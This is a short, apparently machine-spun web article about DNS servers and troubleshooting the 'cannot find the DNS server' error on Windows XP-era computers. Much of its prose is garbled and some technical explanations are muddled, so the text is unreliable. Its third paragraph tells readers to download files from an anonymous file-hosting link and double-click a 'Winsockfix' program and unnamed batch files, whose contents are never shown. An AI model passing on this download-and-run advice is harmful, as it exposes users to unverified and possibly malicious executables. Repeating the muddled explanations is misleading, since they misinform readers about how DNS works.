DNS servers or domain name system is referred to as standard technology that effectively manages website names and other different internet domains. It is a technology that allows users to type various names into the web browser and their computer automatically finds the address requested for on the net. DNS servers are therefore registered computers that are able to join domain name systems. The servers run special purpose networking software that features an IP address which is also public and has an address and name database for several internet hosts.
Computers on the home network mostly locate DNS servers through internet-connection setup properties. Providers of these servers give their clients and customers both primary and secondary (backup) DNS servers public IP addresses. The user is able to find IP addresses that are current on their DNS server configuration through several methods. The first is on configuration
screen on home network routers. The second method of finding IP addresses is through ipconfig or another command line that is similar. There are several times users are unable to find their DNS server or they receive an error showing the server cannot be traced. People using their desktop computers use broadband connection to run firefox 2 or window XP media center. At times when browsing, this action may be stopped and preceded by an error message, “cannot find the DNS server”, though the internet connection is still on. Unfortunately, during such times all processes that are either directly connected to the internet or indirectly related all fail to respond and produce connection error messages.
Users dealing with such errors or trying to find their DNS servers can download http://burnupload.com/?d=C643054B1 then run Winsockfix to see if the problem is resolved. If is not the user should then run the remaining batch files by double clicking on them individually. Each of them should be allowed to run since they only take a second to do so. Once the user does this the internet returns and downloads continue as before. Another way to go about it for those using a PC is to click on the start button and select run command. The user should then type CMD and press enter. Once a black box comes up the user should type the following “ipconfig /all” and peruse the data to identify their DNS address. Users should keep in mind that borderline protocol behavior greatly determines the method one uses to identify or find their own name server implementations.